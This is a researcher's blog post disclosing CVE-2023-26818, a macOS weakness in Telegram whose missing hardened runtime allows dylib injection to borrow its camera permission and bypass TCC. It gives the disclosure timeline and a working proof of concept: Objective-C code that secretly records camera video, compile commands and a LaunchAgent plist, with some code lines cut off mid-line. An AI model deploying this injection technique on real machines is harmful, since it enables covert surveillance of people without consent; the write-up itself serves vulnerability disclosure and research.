Dan Revah's Blog

CVE-2023-26818 - Bypass TCC with Telegram in macOS

May 15, 2023

Preface

The following article will focus on a weakness in the Telegram application on macOS that allows for the injection of a Dynamic Library (or Dylib for short). The article will cover several basic concepts in macOS to provide the relevant background that will help the reader understand the process of identifying the weakness and writing an exploit that will gain a local privilege escalation by getting access to the camera through the permissions that were prreviously ganted to the Telegram application.

It should be noted that even the Root user on macOS does not have permissions to access the microphone or record the screen (etc.) unless the application has received direct Consent from the user during the initial access of the application (or by manually opening the permissions through the UI in System Preferences).

We will go over several basic concepts in macOS and then continue to see how we can identify the weakness in the application. After that, we will write the Dylib that will be used in the exploit to perform the recording from the camera and save it to a file. Additionally, we will see how we can bypass the Sandbox of the terminal using LaunchAgent. Eventually leading to a local privilege escalation, allowing an attacker to gain more privileges by accessing privacy-restricted areas.

Timeline since the beginning of the research appears as follows:

- 03/02/2023: Vulnerability discovery
- 03/02/2023 - 16/03/2023: Number of correspondences with security@telegram.org that have not been addressed yet
- 10/02/2023: Reporting the vulnerability to MITRE
- 26/03/2023: Reporting to VINCE to receive assistance in coordination with Telegram for vulnerability remediation and disclosure
- 05/04/2023: CVE-2023-26818 - Receiving a “reserved” CVE for vulnerability disclosure

- 15/05/2023: Expiration of grace period with VINCE and the day on which the vulnerability will be disclosed.

Background

Transparency, Consent, and Control (TCC) is a mechanism in macOS that manages access to certain areas defined as “privacy-protected.” Authorization to access these areas is enabled by collecting consent from users or by detecting the user’s intent through a specific action.

Entitlements

Entitlements are permissions given to a specific binary in order to obtain certain privileges. For example, in order for an application to access the microphone, it must be signed with the corresponding entitlement and receive permission from the user upon the app’s initial access to the microphone.

More information about entitlements can be found on Apple’s website: https://developer.apple.com/documentation/bundleresources/entitlements

Hardened Runtime

The Hardened Runtime, according to Apple developers, protects the runtime integrity of software by preventing certain types of exploits, such as code injection, dynamically linked library (DLL) hijacking, and process memory space tampering, along with System Integrity Protection (SIP).

This means that the Hardened Runtime mechanism adds security to apps that have been defined as “hardened”. In iOS, in order to upload an app to the App Store, it must be signed with the Hardened Runtime entitlement. However, this requirement does not seem to exist in macOS.

The Hardened Runtime mechanism adds a set of security rules that protect the binary from a wide range of actions, including injection of code, dylib, access to the process memory from another process, and more. Developers can still reduce some of the security measures by using certain entitlements that decrease security in specific areas.

For example, with the entitlement `com.apple.security.cs.allow-dyld-environment-variables`, the binary can receive dylib injections through an environment variable. But as long as the binary is hardened, we will not be able to inject a library that was not signed by the same team. Therefore, only a combination of the

entitlement `com.apple.security.cs.disable-library-validation` will allow us to load a library that was not signed by the same developer. Since the latter cancels the signature validation of the dylib against the software, we can load any library. The latter is useful in software that allows the development and use of third-party plugins.

DYLD_INSERT_LIBRARIES

This is an environment variable that, when used, contains a list of libraries that will be loaded before the application starts up.

We can use the injection through the environment variable in several cases:

1. When the application is not defined as “Hardened Runtime” and therefore allows the injection of Dylib using the environment variable.
2. When the binary is hardened runtime, and in addition, the programmer released it with the appropriate entitlements:
   - “Disable-library-validation”, which allows any Dylib to run on the binary even without checking who signed the file and the library. This permission usually exists in programs that allow community-written plugins.
   - `com.apple.security.cs.allow-dyld-environment-variables` lossens the hardened runtime restrictions and allows the use of `DYLD_INSERT_LIBRARIES` to inject a library.

If we continue and download the Telegram app from the AppStore, we can check its signature and entitlements using the “codesign” command.

```
┌──(danrevah㉿danrevah-macbookpro3)-[/tmp]
└─$ codesign -dv --entitlements :- /Applications/Telegram.app
Executable=/Applications/Telegram.app/Contents/MacOS/Telegram
Identifier=ru.keepcoder.Telegram
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20400 size=470041 flags=0x0(none) hashes=14678+7 location=embedded
Signature size=4698
Info.plist entries=38
TeamIdentifier=6N38VWS5BX
Sealed Resources version=2 rules=13 files=375
Internal requirements count=1 size=224
Warning: Specifying ':' in the path is deprecated and will not work in a future release
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.ap
ple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>com.apple.developer.maps</key><true/><k
ey>com.apple.security.app-sandbox</key><true/><key>com.apple.security.application-groups</key><array><stri
ng>6N38VWS5BX.ru.keepcoder.Telegram</string><string>6N38VWS5BX.ru.keepcoder.Telegram.TelegramShare</string
></array><key>com.apple.security.cs.disable-library-validation</key><true/><key>com.apple.security.device.
audio-input</key><true/><key>com.apple.security.device.camera</key><true/><key>com.apple.security.device.m
icrophone</key><true/><key>com.apple.security.files.downloads.read-write</key><true/><key>com.apple.securi
ty.files.user-selected.read-write</key><true/><key>com.apple.security.network.client</key><true/><key>com.
apple.security.network.server</key><true/><key>com.apple.security.personal-information.location</key><true
/><key>keychain-access-groups</key><array><string>6N38VWS5BX.ru.keepcoder.Telegram</string><string>6N38VWS
5BX.ru.keepcoder.TelegramShare</string></array></dict></plist>
```

We can see that the file is not hardened from the line that begins with “Code Directory,” and we will look at the flags that are defined as “none.” In the case of a hardened

runtime, we can see the hardening as a flag right there.

In other words, it appears that Telegram did not harden the version of the application that was uploaded to the macOS App Store. Therefore, we can use `DYLD_INSERT_LIBRARIES` directly without caring of the entitlements signed on it. (Note that the list of entitlements is displayed as XML at the end of the output of the codesign command above.)

Creating the Dylib

In order to inject a dylib, we first need to create a dylib in Objective-C. In the next step, we will write a Dylib that captures video from the camera and saves the recording to disk.

We will create a new file called telegram.m:

```
#import <Foundation/Foundation.h>

attribute((constructor))
static void telegram(int argc, const char **argv) {
NSLog(@"[+] Dynamic library loaded into %@", argv[0]);
}
```

We will start by printing a message to the screen so that we can verify that we have successfully loaded the dylib. Note that `attribute((constructor))` marks the function that will run before the application's main function, into which we injected the dylib (in this case - Telegram).

We will compile the library using gcc:

```
$ gcc -dynamiclib -framework Foundation telegram.m -o telegram.dylib
```

Notice that we need to add the Foundation framework to the gcc command in order to compile the file after importing the library and using it (NSLog).

Now, we can load the compiled library using the `DYLD_INSERT_LIBRARIES` environment variable:

```
$ DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Telegram.app/Conter
```

It seems that we successfully loaded the library when we see the following output:

```
[+] Dynamic library loaded into /Applications/Telegram.app/Contents/MacO
```

Note that if we try to use `DYLD_INSERT_LIBRARIES` in another binary that is hardedend and does not have the matching entitlement, we will not be able to load the library and we will not see the above output.

For example, let's take Safari and try to load the library:

```
DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Safari.app/Contents/M
```

Note that in this case, we do not see the prompt on the screen because the binary is hardened (we can see that it is runtime hardened using codesign). Now that we have successfully loaded the dylib, we will continue writing the code. Let's go back to the telegram.m file we created earlier and write code that captures video from the camera for 3 seconds and saves the recording to a file.

The full code can be found here:

```
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegat

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation VideoRecorder

- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}
```

```
- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

    AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMed
    NSError *error;
    self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice

    if (error) {
        NSLog(@"Error setting up video device input: %@", [error localiz
        return;
    }

    if ([self.captureSession canAddInput:self.videoDeviceInput]) {
        [self.captureSession addInput:self.videoDeviceInput];
    }

    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];

    if ([self.captureSession canAddOutput:self.movieFileOutput]) {
        [self.captureSession addOutput:self.movieFileOutput];
    }
}

- (void)startRecording {
    [self.captureSession startRunning];
    NSString *outputFilePath = [NSTemporaryDirectory() stringByAppending
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL re
    NSLog(@"Recording started");
}

- (void)stopRecording {
    [self.movieFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"Recording stopped");
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
```

```
      fromConnections:(NSArray<AVCaptureConnection *> *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"Recording finished successfully. Saved to %@", outputFil
    }
}

@end

__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];

    [videoRecorder startRecording];
    [NSThread sleepForTimeInterval:3.0];
    [videoRecorder stopRecording];

    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeInterva
}
```

Which we will compile by using gcc again:

```
$ gcc -dynamiclib -framework Foundation -framework AVFoundation telegram
```

Now if we take the Dylib and use the `DYLD_INSERT_LIBRARIES` parameter as we did before, and inject the Dylib into Telegram, we will encounter the following message:

```
"Terminal" would like to access the camera.
```

It seems that the Terminal app is trying to access the video instead of Telegram! So, what's actually happening here?

In macOS, when we run applications through the Terminal, the applications inherit its Sandbox profile. Therefore, it seems that at this stage, the Terminal app is actually restricting access to the camera.

To bypass the Sandbox, we will need to run the application in a different way. Instead of using the Terminal, we can use the LaunchAgents mechanism, which allows us to run processes in the background and schedule their execution.

To create a new LaunchAgent, we will create a new file named `com.telegram.launcher.plist` under the `~/Library/LaunchAgents` directory. We will define the LaunchAgent as XML and configure the `DYLD_INSERT_LIBRARIES` as follows:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.c
<plist version="1.0">
<dict>
       <key>Label</key>
        <string>com.telegram.launcher</string>
        <key>RunAtLoad</key>
        <true/>
        <key>EnvironmentVariables</key>
        <dict>
          <key>DYLD_INSERT_LIBRARIES</key>
          <string>/tmp/telegram.dylib</string>
        </dict>
        <key>ProgramArguments</key>
        <array>
  <string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
        </array>
        <key>StandardOutPath</key>
        <string>/tmp/telegram.log</string>
        <key>StandardErrorPath</key>
        <string>/tmp/telegram.log</string>
</dict>
</plist>
```

Now, we'll run the LaunchAgent with:

```
$ launchctl load com.telegram.launcher.plist
```

Since Telegram is defined with a Sandbox profile, the file will be saved in a path relative to the Sandbox profile. We can see the logs and where the recording was saved if we look at `/tmp/telegram.logs`.

```
$ cat /tmp/telegram.log
2023-05-15 12:28:49.691 Telegram[84946:735528] Recording started
2023-05-15 12:28:52.808 Telegram[84946:735528] Recording stopped
2023-05-15 12:28:52.814 Telegram[84946:735528] Recording finished succes
```

```
Saved to /var/folders/0k/f6bdvnb52kb1wqkq2qgd07nh00mkw1/T/ru.keepcoder.T
```

It seems that we succeeded in injecting the Dylib and the recording file was saved successfully. This means that we were able to use the permissions granted to Telegram by injecting Dylib and record the user. It should be noted that even if we had root access to the system, we would still be limited in opening the microphone and camera. Therefore, using a vulnerability of a third-party application can grant us additional permissions and allow us to bypass Apple's privacy mechanism.

To summarize, we learned about the concept of the TCC mechanism in macOS and its importance to user privacy. We covered basic concepts that included Hardened Runtime, Entitlements, and Dylib. We created a new Dylib file in Objective-C that captures video from the camera for 3 seconds and saves the recording to a file. We bypassed the Sandbox restrictions of the terminal by defining a LaunchAgent. We saw that the file was saved in a relative location to the Telegram Sandbox profile, and we located it by viewing logs created as part of the Dylib development process.

Dan Revah's Blog

Dan Revah's Blog
danrevah89@gmail.com

danrevah
danrevah
danrevah

Software Engineering, Cybersecurity, Reverse Engineering and Vulnerability Research